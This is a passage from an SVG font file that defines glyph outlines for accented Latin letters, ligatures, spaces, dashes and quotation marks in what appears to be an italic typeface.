<glyph unicode="&#xcf;" horiz-adv-x="504" d="M102 0l310 1462h98l-309 -1462h-99zM260 1704q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63zM604 1704q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63z" />
<glyph unicode="&#xd0;" horiz-adv-x="1352" d="M90 676l21 96h155l146 690h305q282 0 426.5 -147.5t144.5 -435.5q0 -253 -109.5 -461.5t-300.5 -313t-446 -104.5h-330l144 676h-156zM221 90h209q226 0 394.5 94.5t261 275.5t92.5 412q0 498 -476 498h-206l-129 -598h378l-20 -96h-379z" />
<glyph unicode="&#xd1;" horiz-adv-x="1372" d="M102 0l310 1462h80l522 -1294h8q23 176 74 416l188 878h94l-309 -1462h-86l-516 1284h-8q-23 -149 -48 -273t-214 -1011h-95zM577 1581q19 108 71 166.5t134 58.5q41 0 73.5 -14t117.5 -72q52 -36 94 -36q43 0 71.5 30.5t46.5 100.5h76q-26 -118 -74.5 -173t-124.5 -55 q-40 0 -77.5 19t-75.5 45q-34 23 -64.5 41t-68.5 18q-45 0 -74 -28.5t-51 -100.5h-74z" />
<glyph unicode="&#xd2;" horiz-adv-x="1464" d="M172 559q0 262 93 477.5t255 331t373 115.5q247 0 378.5 -148.5t131.5 -423.5q0 -255 -94 -481.5t-252 -338t-365 -111.5q-250 0 -385 149t-135 430zM276 573q0 -245 109.5 -373t319.5 -128q169 0 300 98.5t210 300t79 430.5q0 240 -104.5 364t-310.5 124 q-174 0 -308.5 -101t-214.5 -298t-80 -417zM710 1886v21h115q46 -129 164 -303v-25h-66q-50 52 -114 144.5t-99 162.5z" />
<glyph unicode="&#xd3;" horiz-adv-x="1464" d="M172 559q0 262 93 477.5t255 331t373 115.5q247 0 378.5 -148.5t131.5 -423.5q0 -255 -94 -481.5t-252 -338t-365 -111.5q-250 0 -385 149t-135 430zM276 573q0 -245 109.5 -373t319.5 -128q169 0 300 98.5t210 300t79 430.5q0 240 -104.5 364t-310.5 124 q-174 0 -308.5 -101t-214.5 -298t-80 -417zM844 1579v21q66 51 150.5 142t129.5 165h137v-23q-51 -66 -157.5 -158.5t-192.5 -146.5h-67z" />
<glyph unicode="&#xd4;" horiz-adv-x="1464" d="M172 559q0 262 93 477.5t255 331t373 115.5q247 0 378.5 -148.5t131.5 -423.5q0 -255 -94 -481.5t-252 -338t-365 -111.5q-250 0 -385 149t-135 430zM276 573q0 -245 109.5 -373t319.5 -128q169 0 300 98.5t210 300t79 430.5q0 240 -104.5 364t-310.5 124 q-174 0 -308.5 -101t-214.5 -298t-80 -417zM657 1579v29q68 56 157.5 148.5t127.5 150.5h64q23 -64 72.5 -152.5t92.5 -146.5v-29h-49q-70 60 -161 207q-55 -57 -125 -114.5t-125 -92.5h-54z" />
<glyph unicode="&#xd5;" horiz-adv-x="1464" d="M172 559q0 262 93 477.5t255 331t373 115.5q247 0 378.5 -148.5t131.5 -423.5q0 -255 -94 -481.5t-252 -338t-365 -111.5q-250 0 -385 149t-135 430zM276 573q0 -245 109.5 -373t319.5 -128q169 0 300 98.5t210 300t79 430.5q0 240 -104.5 364t-310.5 124 q-174 0 -308.5 -101t-214.5 -298t-80 -417zM592 1581q19 108 71 166.5t134 58.5q41 0 73.5 -14t117.5 -72q52 -36 94 -36q43 0 71.5 30.5t46.5 100.5h76q-26 -118 -74.5 -173t-124.5 -55q-40 0 -77.5 19t-75.5 45q-34 23 -64.5 41t-68.5 18q-45 0 -74 -28.5t-51 -100.5h-74z " />
<glyph unicode="&#xd6;" horiz-adv-x="1464" d="M172 559q0 262 93 477.5t255 331t373 115.5q247 0 378.5 -148.5t131.5 -423.5q0 -255 -94 -481.5t-252 -338t-365 -111.5q-250 0 -385 149t-135 430zM276 573q0 -245 109.5 -373t319.5 -128q169 0 300 98.5t210 300t79 430.5q0 240 -104.5 364t-310.5 124 q-174 0 -308.5 -101t-214.5 -298t-80 -417zM687 1704q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63zM1031 1704q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63z" />
<glyph unicode="&#xd7;" d="M221 1055l70 69l330 -329l333 329l68 -67l-332 -334l332 -332l-68 -67l-333 329l-330 -327l-68 67l328 330z" />
<glyph unicode="&#xd8;" horiz-adv-x="1464" d="M139 -14l146 172q-113 149 -113 401q0 263 94 479.5t256.5 330.5t370.5 114q219 0 352 -121l133 168l70 -53l-145 -183q45 -51 72.5 -161t27.5 -222q0 -187 -52 -365.5t-144.5 -304.5t-223 -193.5t-291.5 -67.5q-215 0 -348 112l-139 -170zM276 573q0 -105 21.5 -191 t56.5 -138l826 1032q-107 113 -301 113q-134 0 -244 -59.5t-188.5 -170t-124.5 -267.5t-46 -319zM412 172q107 -100 293 -100q170 0 301 100t209.5 296.5t78.5 432.5q0 85 -17.5 172t-43.5 129z" />
<glyph unicode="&#xd9;" horiz-adv-x="1370" d="M176 381q0 83 27 201l186 880h103l-193 -899q-20 -89 -20 -184q0 -309 342 -309q195 0 307.5 96.5t158.5 318.5l207 977h101l-207 -977q-58 -270 -197 -387.5t-375 -117.5q-440 0 -440 401zM667 1886v21h115q46 -129 164 -303v-25h-66q-50 52 -114 144.5t-99 162.5z" />
<glyph unicode="&#xda;" horiz-adv-x="1370" d="M176 381q0 83 27 201l186 880h103l-193 -899q-20 -89 -20 -184q0 -309 342 -309q195 0 307.5 96.5t158.5 318.5l207 977h101l-207 -977q-58 -270 -197 -387.5t-375 -117.5q-440 0 -440 401zM838 1579v21q66 51 150.5 142t129.5 165h137v-23q-51 -66 -157.5 -158.5 t-192.5 -146.5h-67z" />
<glyph unicode="&#xdb;" horiz-adv-x="1370" d="M176 381q0 83 27 201l186 880h103l-193 -899q-20 -89 -20 -184q0 -309 342 -309q195 0 307.5 96.5t158.5 318.5l207 977h101l-207 -977q-58 -270 -197 -387.5t-375 -117.5q-440 0 -440 401zM634 1579v29q68 56 157.5 148.5t127.5 150.5h64q23 -64 72.5 -152.5 t92.5 -146.5v-29h-49q-70 60 -161 207q-55 -57 -125 -114.5t-125 -92.5h-54z" />
<glyph unicode="&#xdc;" horiz-adv-x="1370" d="M176 381q0 83 27 201l186 880h103l-193 -899q-20 -89 -20 -184q0 -309 342 -309q195 0 307.5 96.5t158.5 318.5l207 977h101l-207 -977q-58 -270 -197 -387.5t-375 -117.5q-440 0 -440 401zM678 1704q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29 q-55 0 -55 63zM1022 1704q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63z" />
<glyph unicode="&#xdd;" horiz-adv-x="965" d="M193 1462h100l201 -817l544 817h117l-631 -932l-108 -530h-105l119 545zM563 1579v21q66 51 150.5 142t129.5 165h137v-23q-51 -66 -157.5 -158.5t-192.5 -146.5h-67z" />
<glyph unicode="&#xde;" horiz-adv-x="1145" d="M102 0l310 1462h102l-57 -266h213q200 0 308.5 -92.5t108.5 -267.5q0 -247 -153 -373.5t-457 -126.5h-201l-71 -336h-103zM293 428h190q256 0 376 98.5t120 302.5q0 275 -330 275h-211z" />
<glyph unicode="&#xdf;" horiz-adv-x="1094" d="M-281 -379q53 -24 115 -24q79 0 123 50.5t66 153.5l305 1409q80 357 405 357q137 0 215 -61.5t78 -174.5q0 -75 -44.5 -140.5t-166.5 -148.5q-107 -76 -141.5 -124.5t-34.5 -106.5q0 -51 34 -88.5t93 -75.5q96 -63 138 -133.5t42 -165.5q0 -170 -106.5 -269t-286.5 -99 q-143 0 -234 65v109q45 -36 112.5 -59t129.5 -23q132 0 208.5 71t76.5 195q0 75 -31.5 129t-109.5 108q-82 58 -119 110.5t-37 121.5q0 57 21 103t60.5 88.5t137.5 113.5q101 70 131.5 116t30.5 101q0 70 -55 110t-150 40q-129 0 -205 -76t-108 -229l-291 -1377 q-33 -152 -103.5 -220.5t-179.5 -68.5q-73 0 -119 23v90z" />
<glyph unicode="&#xe0;" horiz-adv-x="1133" d="M102 354q0 197 75 376t200.5 276.5t277.5 97.5q232 0 279 -219h6l59 202h80l-229 -1087h-82l45 274h-6q-84 -142 -187 -218t-237 -76q-281 0 -281 374zM205 365q0 -152 50 -223.5t151 -71.5q89 0 177.5 62t159 166t107.5 230t37 213q0 79 -26 141.5t-77 99t-127 36.5 q-124 0 -224 -82t-164 -245.5t-64 -325.5zM530 1548v21h115q46 -129 164 -303v-25h-66q-50 52 -114 144.5t-99 162.5z" />
<glyph unicode="&#xe1;" horiz-adv-x="1133" d="M102 354q0 197 75 376t200.5 276.5t277.5 97.5q232 0 279 -219h6l59 202h80l-229 -1087h-82l45 274h-6q-84 -142 -187 -218t-237 -76q-281 0 -281 374zM205 365q0 -152 50 -223.5t151 -71.5q89 0 177.5 62t159 166t107.5 230t37 213q0 79 -26 141.5t-77 99t-127 36.5 q-124 0 -224 -82t-164 -245.5t-64 -325.5zM586 1241v21q66 51 150.5 142t129.5 165h137v-23q-51 -66 -157.5 -158.5t-192.5 -146.5h-67z" />
<glyph unicode="&#xe2;" horiz-adv-x="1133" d="M102 354q0 197 75 376t200.5 276.5t277.5 97.5q232 0 279 -219h6l59 202h80l-229 -1087h-82l45 274h-6q-84 -142 -187 -218t-237 -76q-281 0 -281 374zM205 365q0 -152 50 -223.5t151 -71.5q89 0 177.5 62t159 166t107.5 230t37 213q0 79 -26 141.5t-77 99t-127 36.5 q-124 0 -224 -82t-164 -245.5t-64 -325.5zM441 1243v29q68 56 157.5 148.5t127.5 150.5h64q23 -64 72.5 -152.5t92.5 -146.5v-29h-49q-70 60 -161 207q-55 -57 -125 -114.5t-125 -92.5h-54z" />
<glyph unicode="&#xe3;" horiz-adv-x="1133" d="M102 354q0 197 75 376t200.5 276.5t277.5 97.5q232 0 279 -219h6l59 202h80l-229 -1087h-82l45 274h-6q-84 -142 -187 -218t-237 -76q-281 0 -281 374zM205 365q0 -152 50 -223.5t151 -71.5q89 0 177.5 62t159 166t107.5 230t37 213q0 79 -26 141.5t-77 99t-127 36.5 q-124 0 -224 -82t-164 -245.5t-64 -325.5zM373 1243q19 108 71 166.5t134 58.5q41 0 73.5 -14t117.5 -72q52 -36 94 -36q43 0 71.5 30.5t46.5 100.5h76q-26 -118 -74.5 -173t-124.5 -55q-40 0 -77.5 19t-75.5 45q-34 23 -64.5 41t-68.5 18q-45 0 -74 -28.5t-51 -100.5h-74z " />
<glyph unicode="&#xe4;" horiz-adv-x="1133" d="M102 354q0 197 75 376t200.5 276.5t277.5 97.5q232 0 279 -219h6l59 202h80l-229 -1087h-82l45 274h-6q-84 -142 -187 -218t-237 -76q-281 0 -281 374zM205 365q0 -152 50 -223.5t151 -71.5q89 0 177.5 62t159 166t107.5 230t37 213q0 79 -26 141.5t-77 99t-127 36.5 q-124 0 -224 -82t-164 -245.5t-64 -325.5zM491 1366q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63zM835 1366q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63z" />
<glyph unicode="&#xe5;" horiz-adv-x="1133" d="M102 354q0 197 75 376t200.5 276.5t277.5 97.5q232 0 279 -219h6l59 202h80l-229 -1087h-82l45 274h-6q-84 -142 -187 -218t-237 -76q-281 0 -281 374zM205 365q0 -152 50 -223.5t151 -71.5q89 0 177.5 62t159 166t107.5 230t37 213q0 79 -26 141.5t-77 99t-127 36.5 q-124 0 -224 -82t-164 -245.5t-64 -325.5zM521 1440q0 88 59.5 144t149.5 56q88 0 142.5 -50t54.5 -142t-57.5 -148.5t-145.5 -56.5q-93 0 -148 52t-55 145zM601 1440q0 -57 33 -90t90 -33q56 0 90.5 36t34.5 93t-33.5 90t-87.5 33q-60 0 -93.5 -36t-33.5 -93z" />
<glyph unicode="&#xe6;" horiz-adv-x="1602" d="M102 344q0 206 70.5 384.5t192.5 277t274 98.5q106 0 166 -56.5t74 -156.5h10l59 192h66l-35 -186q139 207 350 207q112 0 175 -61.5t63 -172.5q0 -179 -158.5 -271.5t-470.5 -92.5h-39q-8 -51 -8 -96q0 -161 69.5 -250.5t217.5 -89.5q69 0 133.5 21t130.5 52v-94 q-80 -37 -147 -53t-140 -16q-123 0 -211 60t-117 165l-39 -205h-77l41 254h-9q-94 -142 -189 -208t-208 -66q-120 0 -182 94t-62 270zM205 352q0 -150 42.5 -216t121.5 -66q67 0 138.5 42t134 117.5t106 170.5t63.5 199t20 165q0 118 -49 186t-141 68q-123 0 -223 -86 t-156.5 -240t-56.5 -340zM913 594h48q263 0 383 67t120 203q0 71 -38.5 112.5t-108.5 41.5q-119 0 -232 -115.5t-172 -308.5z" />
<glyph unicode="&#xe7;" horiz-adv-x="887" d="M102 397q0 193 73.5 361.5t198.5 257t290 88.5q134 0 241 -43l-28 -90q-107 47 -218 47q-129 0 -232.5 -77t-162.5 -222t-59 -320q0 -158 73.5 -243.5t208.5 -85.5q71 0 131.5 13t131.5 46v-92q-116 -57 -273 -57q-174 0 -274.5 110.5t-100.5 306.5zM203 -406 q30 -6 72 -6q198 0 198 115q0 97 -151 107l110 190h80l-78 -137q140 -30 140 -152q0 -94 -75.5 -148.5t-217.5 -54.5q-46 0 -78 7v79z" />
<glyph unicode="&#xe8;" horiz-adv-x="928" d="M102 395q0 181 71 347t195.5 264t274.5 98q114 0 182 -61t68 -166q0 -181 -163.5 -276t-485.5 -95h-33q-6 -44 -6 -98q0 -165 74 -251.5t213 -86.5q132 0 276 73v-94q-140 -69 -299 -69q-173 0 -270 109.5t-97 305.5zM225 594h49q517 0 517 270q0 67 -43.5 110.5 t-116.5 43.5q-131 0 -243.5 -115.5t-162.5 -308.5zM472 1548v21h115q46 -129 164 -303v-25h-66q-50 52 -114 144.5t-99 162.5z" />
<glyph unicode="&#xe9;" horiz-adv-x="928" d="M102 395q0 181 71 347t195.5 264t274.5 98q114 0 182 -61t68 -166q0 -181 -163.5 -276t-485.5 -95h-33q-6 -44 -6 -98q0 -165 74 -251.5t213 -86.5q132 0 276 73v-94q-140 -69 -299 -69q-173 0 -270 109.5t-97 305.5zM225 594h49q517 0 517 270q0 67 -43.5 110.5 t-116.5 43.5q-131 0 -243.5 -115.5t-162.5 -308.5zM532 1241v21q66 51 150.5 142t129.5 165h137v-23q-51 -66 -157.5 -158.5t-192.5 -146.5h-67z" />
<glyph unicode="&#xea;" horiz-adv-x="928" d="M102 395q0 181 71 347t195.5 264t274.5 98q114 0 182 -61t68 -166q0 -181 -163.5 -276t-485.5 -95h-33q-6 -44 -6 -98q0 -165 74 -251.5t213 -86.5q132 0 276 73v-94q-140 -69 -299 -69q-173 0 -270 109.5t-97 305.5zM225 594h49q517 0 517 270q0 67 -43.5 110.5 t-116.5 43.5q-131 0 -243.5 -115.5t-162.5 -308.5zM390 1241v29q68 56 157.5 148.5t127.5 150.5h64q23 -64 72.5 -152.5t92.5 -146.5v-29h-49q-70 60 -161 207q-55 -57 -125 -114.5t-125 -92.5h-54z" />
<glyph unicode="&#xeb;" horiz-adv-x="928" d="M102 395q0 181 71 347t195.5 264t274.5 98q114 0 182 -61t68 -166q0 -181 -163.5 -276t-485.5 -95h-33q-6 -44 -6 -98q0 -165 74 -251.5t213 -86.5q132 0 276 73v-94q-140 -69 -299 -69q-173 0 -270 109.5t-97 305.5zM225 594h49q517 0 517 270q0 67 -43.5 110.5 t-116.5 43.5q-131 0 -243.5 -115.5t-162.5 -308.5zM436 1366q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63zM780 1366q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63z" />
<glyph unicode="&#xec;" horiz-adv-x="475" d="M76 0l231 1087h96l-229 -1087h-98zM175 1548v21h115q46 -129 164 -303v-25h-66q-50 52 -114 144.5t-99 162.5z" />
<glyph unicode="&#xed;" horiz-adv-x="475" d="M76 0l231 1087h96l-229 -1087h-98zM284 1241v21q66 51 150.5 142t129.5 165h137v-23q-51 -66 -157.5 -158.5t-192.5 -146.5h-67z" />
<glyph unicode="&#xee;" horiz-adv-x="475" d="M76 0l231 1087h96l-229 -1087h-98zM128 1241v29q68 56 157.5 148.5t127.5 150.5h64q23 -64 72.5 -152.5t92.5 -146.5v-29h-49q-70 60 -161 207q-55 -57 -125 -114.5t-125 -92.5h-54z" />
<glyph unicode="&#xef;" horiz-adv-x="475" d="M76 0l231 1087h96l-229 -1087h-98zM171 1366q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63zM515 1366q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63z" />
<glyph unicode="&#xf0;" horiz-adv-x="1124" d="M102 381q0 170 63 301.5t178.5 203.5t262.5 72q107 0 188 -49.5t121 -142.5h5q0 139 -43 289t-115 243l-295 -163l-39 73l285 156q-54 60 -158 139l59 68q32 -26 81 -66t100 -94l266 150l39 -74l-256 -141q87 -116 131.5 -276t44.5 -335q0 -355 -141.5 -555t-399.5 -200 q-177 0 -277 106.5t-100 294.5zM205 389q0 -153 73.5 -236t210.5 -83q118 0 208.5 61t144 186.5t53.5 270.5q0 77 -35 142t-100 101.5t-156 36.5q-124 0 -213.5 -61.5t-137.5 -169.5t-48 -248z" />
<glyph unicode="&#xf1;" horiz-adv-x="1143" d="M76 0l231 1087h82l-37 -221h6q164 238 416 238q130 0 195 -64t65 -184q0 -70 -24 -182l-148 -674h-98l149 692q21 92 21 156q0 80 -43.5 125t-134.5 45q-112 0 -210.5 -67t-166 -187.5t-103.5 -286.5l-102 -477h-98zM389 1243q19 108 71 166.5t134 58.5q41 0 73.5 -14 t117.5 -72q52 -36 94 -36q43 0 71.5 30.5t46.5 100.5h76q-26 -118 -74.5 -173t-124.5 -55q-40 0 -77.5 19t-75.5 45q-34 23 -64.5 41t-68.5 18q-45 0 -74 -28.5t-51 -100.5h-74z" />
<glyph unicode="&#xf2;" horiz-adv-x="1124" d="M98 403q0 191 73 358t197 257t281 90q180 0 278.5 -108.5t98.5 -299.5q0 -197 -71.5 -368.5t-195.5 -261.5t-286 -90q-184 0 -279.5 109.5t-95.5 313.5zM201 408q0 -342 282 -342q127 0 225.5 77.5t157 228t58.5 330.5q0 154 -73 237t-210 83q-124 0 -223 -78.5 t-158 -225t-59 -310.5zM465 1548v21h115q46 -129 164 -303v-25h-66q-50 52 -114 144.5t-99 162.5z" />
<glyph unicode="&#xf3;" horiz-adv-x="1124" d="M98 403q0 191 73 358t197 257t281 90q180 0 278.5 -108.5t98.5 -299.5q0 -197 -71.5 -368.5t-195.5 -261.5t-286 -90q-184 0 -279.5 109.5t-95.5 313.5zM201 408q0 -342 282 -342q127 0 225.5 77.5t157 228t58.5 330.5q0 154 -73 237t-210 83q-124 0 -223 -78.5 t-158 -225t-59 -310.5zM573 1241v21q66 51 150.5 142t129.5 165h137v-23q-51 -66 -157.5 -158.5t-192.5 -146.5h-67z" />
<glyph unicode="&#xf4;" horiz-adv-x="1124" d="M98 403q0 191 73 358t197 257t281 90q180 0 278.5 -108.5t98.5 -299.5q0 -197 -71.5 -368.5t-195.5 -261.5t-286 -90q-184 0 -279.5 109.5t-95.5 313.5zM201 408q0 -342 282 -342q127 0 225.5 77.5t157 228t58.5 330.5q0 154 -73 237t-210 83q-124 0 -223 -78.5 t-158 -225t-59 -310.5zM427 1241v29q68 56 157.5 148.5t127.5 150.5h64q23 -64 72.5 -152.5t92.5 -146.5v-29h-49q-70 60 -161 207q-55 -57 -125 -114.5t-125 -92.5h-54z" />
<glyph unicode="&#xf5;" horiz-adv-x="1124" d="M98 403q0 191 73 358t197 257t281 90q180 0 278.5 -108.5t98.5 -299.5q0 -197 -71.5 -368.5t-195.5 -261.5t-286 -90q-184 0 -279.5 109.5t-95.5 313.5zM201 408q0 -342 282 -342q127 0 225.5 77.5t157 228t58.5 330.5q0 154 -73 237t-210 83q-124 0 -223 -78.5 t-158 -225t-59 -310.5zM354 1243q19 108 71 166.5t134 58.5q41 0 73.5 -14t117.5 -72q52 -36 94 -36q43 0 71.5 30.5t46.5 100.5h76q-26 -118 -74.5 -173t-124.5 -55q-40 0 -77.5 19t-75.5 45q-34 23 -64.5 41t-68.5 18q-45 0 -74 -28.5t-51 -100.5h-74z" />
<glyph unicode="&#xf6;" horiz-adv-x="1124" d="M98 403q0 191 73 358t197 257t281 90q180 0 278.5 -108.5t98.5 -299.5q0 -197 -71.5 -368.5t-195.5 -261.5t-286 -90q-184 0 -279.5 109.5t-95.5 313.5zM201 408q0 -342 282 -342q127 0 225.5 77.5t157 228t58.5 330.5q0 154 -73 237t-210 83q-124 0 -223 -78.5 t-158 -225t-59 -310.5zM468 1366q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63zM812 1366q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63z" />
<glyph unicode="&#xf7;" d="M168 672v100h903v-100h-903zM522 373q0 106 96 106q48 0 73.5 -27.5t25.5 -78.5q0 -57 -29 -82t-70 -25q-96 0 -96 107zM522 1071q0 107 96 107q46 0 72.5 -27.5t26.5 -79.5q0 -57 -29 -81.5t-70 -24.5q-96 0 -96 106z" />
<glyph unicode="&#xf8;" horiz-adv-x="1124" d="M45 -18l119 145q-66 106 -66 276q0 191 73 358t197 257t281 90q150 0 250 -82l109 133l65 -53l-117 -143q70 -105 70 -263q0 -197 -71.5 -368.5t-195.5 -261.5t-286 -90q-163 0 -254 83l-110 -135zM201 408q0 -125 32 -197l605 739q-74 72 -197 72q-124 0 -223 -78.5 t-158 -225t-59 -310.5zM281 139q67 -73 202 -73q127 0 225.5 77.5t157 228t58.5 330.5q0 101 -35 179z" />
<glyph unicode="&#xf9;" horiz-adv-x="1143" d="M109 227q0 60 22 170l150 690h100l-152 -698q-22 -106 -22 -158q0 -74 47.5 -117.5t138.5 -43.5q110 0 207.5 65.5t164 187t99.5 279.5l105 485h98l-231 -1087h-80l28 205h-6q-167 -221 -403 -221q-131 0 -198.5 62t-67.5 181zM495 1548v21h115q46 -129 164 -303v-25h-66 q-50 52 -114 144.5t-99 162.5z" />
<glyph unicode="&#xfa;" horiz-adv-x="1143" d="M109 227q0 60 22 170l150 690h100l-152 -698q-22 -106 -22 -158q0 -74 47.5 -117.5t138.5 -43.5q110 0 207.5 65.5t164 187t99.5 279.5l105 485h98l-231 -1087h-80l28 205h-6q-167 -221 -403 -221q-131 0 -198.5 62t-67.5 181zM627 1241v21q66 51 150.5 142t129.5 165 h137v-23q-51 -66 -157.5 -158.5t-192.5 -146.5h-67z" />
<glyph unicode="&#xfb;" horiz-adv-x="1143" d="M109 227q0 60 22 170l150 690h100l-152 -698q-22 -106 -22 -158q0 -74 47.5 -117.5t138.5 -43.5q110 0 207.5 65.5t164 187t99.5 279.5l105 485h98l-231 -1087h-80l28 205h-6q-167 -221 -403 -221q-131 0 -198.5 62t-67.5 181zM443 1241v29q68 56 157.5 148.5 t127.5 150.5h64q23 -64 72.5 -152.5t92.5 -146.5v-29h-49q-70 60 -161 207q-55 -57 -125 -114.5t-125 -92.5h-54z" />
<glyph unicode="&#xfc;" horiz-adv-x="1143" d="M109 227q0 60 22 170l150 690h100l-152 -698q-22 -106 -22 -158q0 -74 47.5 -117.5t138.5 -43.5q110 0 207.5 65.5t164 187t99.5 279.5l105 485h98l-231 -1087h-80l28 205h-6q-167 -221 -403 -221q-131 0 -198.5 62t-67.5 181zM483 1366q0 49 20.5 78t56.5 29 q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63zM827 1366q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63z" />
<glyph unicode="&#xfd;" horiz-adv-x="920" d="M-217 -379q71 -27 137 -27q80 0 147 49.5t130 164.5t100 184l-174 1095h100l82 -548q51 -351 55 -449h11q43 105 186 367l348 630h103l-713 -1290q-72 -127 -122.5 -178t-114 -81t-146.5 -30q-68 0 -129 21v92zM505 1241v21q66 51 150.5 142t129.5 165h137v-23 q-51 -66 -157.5 -158.5t-192.5 -146.5h-67z" />
<glyph unicode="&#xfe;" horiz-adv-x="1163" d="M-33 -492l434 2048h99q-114 -535 -164 -751h6q93 156 199 229.5t231 73.5q133 0 206 -92.5t73 -282.5q0 -195 -72 -371t-197.5 -277t-283.5 -101q-230 0 -279 219h-4q-13 -72 -149 -695h-99zM266 346q0 -125 61.5 -200.5t168.5 -75.5q124 0 225 84t164 243.5t63 325.5 q0 295 -200 295q-86 0 -172.5 -57.5t-162.5 -169.5t-111.5 -238t-35.5 -207z" />
<glyph unicode="&#xff;" horiz-adv-x="920" d="M-217 -379q71 -27 137 -27q80 0 147 49.5t130 164.5t100 184l-174 1095h100l82 -548q51 -351 55 -449h11q43 105 186 367l348 630h103l-713 -1290q-72 -127 -122.5 -178t-114 -81t-146.5 -30q-68 0 -129 21v92zM354 1366q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77 t-55 -29q-55 0 -55 63zM698 1366q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63z" />
<glyph unicode="&#x131;" horiz-adv-x="475" d="M76 0l231 1087h96l-229 -1087h-98z" />
<glyph unicode="&#x152;" horiz-adv-x="1767" d="M172 559q0 263 96 482t262 330.5t381 111.5q130 0 240 -21h688l-20 -94h-625l-117 -553h590l-20 -94h-588l-135 -627h626l-20 -94h-666q-25 -6 -77.5 -13t-94.5 -7q-251 0 -385.5 149.5t-134.5 429.5zM276 573q0 -245 109 -373t320 -128q68 0 116 12l271 1290 q-110 15 -189 15q-182 0 -321.5 -98.5t-222.5 -293.5t-83 -424z" />
<glyph unicode="&#x153;" horiz-adv-x="1720" d="M98 403q0 191 73 358t197 257t281 90q141 0 237 -74.5t126 -212.5q70 132 182.5 207.5t241.5 75.5q114 0 182 -61t68 -166q0 -181 -163.5 -276t-486.5 -95h-32q-7 -38 -7 -98q0 -165 74 -251.5t213 -86.5q133 0 277 73v-94q-140 -69 -299 -69q-135 0 -228 69t-125 201 q-65 -127 -179 -198.5t-257 -71.5q-184 0 -279.5 109.5t-95.5 313.5zM201 408q0 -342 282 -342q127 0 225.5 77.5t157 228t58.5 330.5q0 154 -73 237t-210 83q-124 0 -223 -78.5t-158 -225t-59 -310.5zM1018 594h49q516 0 516 270q0 70 -44.5 112t-115.5 42 q-131 0 -243 -115t-162 -309z" />
<glyph unicode="&#x178;" horiz-adv-x="965" d="M193 1462h100l201 -817l544 817h117l-631 -932l-108 -530h-105l119 545zM454 1704q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63zM798 1704q0 49 20.5 78t56.5 29q54 0 54 -64q0 -48 -21 -77t-55 -29q-55 0 -55 63z" />
<glyph unicode="&#x2c6;" horiz-adv-x="1135" d="M444 1241v29q68 56 157.5 148.5t127.5 150.5h64q23 -64 72.5 -152.5t92.5 -146.5v-29h-49q-70 60 -161 207q-55 -57 -125 -114.5t-125 -92.5h-54z" />
<glyph unicode="&#x2da;" horiz-adv-x="1182" d="M561 1440q0 88 59.5 144t149.5 56q88 0 142.5 -50t54.5 -142t-57.5 -148.5t-145.5 -56.5q-93 0 -148 52t-55 145zM641 1440q0 -57 33 -90t90 -33q56 0 90.5 36t34.5 93t-33.5 90t-87.5 33q-60 0 -93.5 -36t-33.5 -93z" />
<glyph unicode="&#x2dc;" horiz-adv-x="1135" d="M346 1243q19 108 71 166.5t134 58.5q41 0 73.5 -14t117.5 -72q52 -36 94 -36q43 0 71.5 30.5t46.5 100.5h76q-26 -118 -74.5 -173t-124.5 -55q-40 0 -77.5 19t-75.5 45q-34 23 -64.5 41t-68.5 18q-45 0 -74 -28.5t-51 -100.5h-74z" />
<glyph unicode="&#x2000;" horiz-adv-x="953" />
<glyph unicode="&#x2001;" horiz-adv-x="1907" />
<glyph unicode="&#x2002;" horiz-adv-x="953" />
<glyph unicode="&#x2003;" horiz-adv-x="1907" />
<glyph unicode="&#x2004;" horiz-adv-x="635" />
<glyph unicode="&#x2005;" horiz-adv-x="476" />
<glyph unicode="&#x2006;" horiz-adv-x="317" />
<glyph unicode="&#x2007;" horiz-adv-x="317" />
<glyph unicode="&#x2008;" horiz-adv-x="238" />
<glyph unicode="&#x2009;" horiz-adv-x="381" />
<glyph unicode="&#x200a;" horiz-adv-x="105" />
<glyph unicode="&#x2010;" horiz-adv-x="629" d="M82 502l18 90h457l-16 -90h-459z" />
<glyph unicode="&#x2011;" horiz-adv-x="629" d="M82 502l18 90h457l-16 -90h-459z" />
<glyph unicode="&#x2012;" horiz-adv-x="629" d="M82 502l18 90h457l-16 -90h-459z" />
<glyph unicode="&#x2013;" horiz-adv-x="983" d="M66 502l18 90h807l-17 -90h-808z" />
<glyph unicode="&#x2014;" horiz-adv-x="1966" d="M68 502l18 90h1788l-16 -90h-1790z" />
<glyph unicode="&#x2018;" horiz-adv-x="299" d="M129 983q41 100 116 231t161 248h73q-66 -106 -129.5 -242.5t-103.5 -258.5h-113z" />
<glyph unicode="&#x2019;" horiz-adv-x="299" d="M129 961q66 106 129.5 242.5t103.5 258.5h113l4 -22q-43 -105 -117.5 -235.5t-158.5 -243.5h-74z" />
<glyph unicode="&#x201a;" horiz-adv-x="451" d="M-100 -264q68 110 131.5 248t101.5 254h113l4 -23q-40 -97 -115.5 -230t-161.5 -249h-73z" />
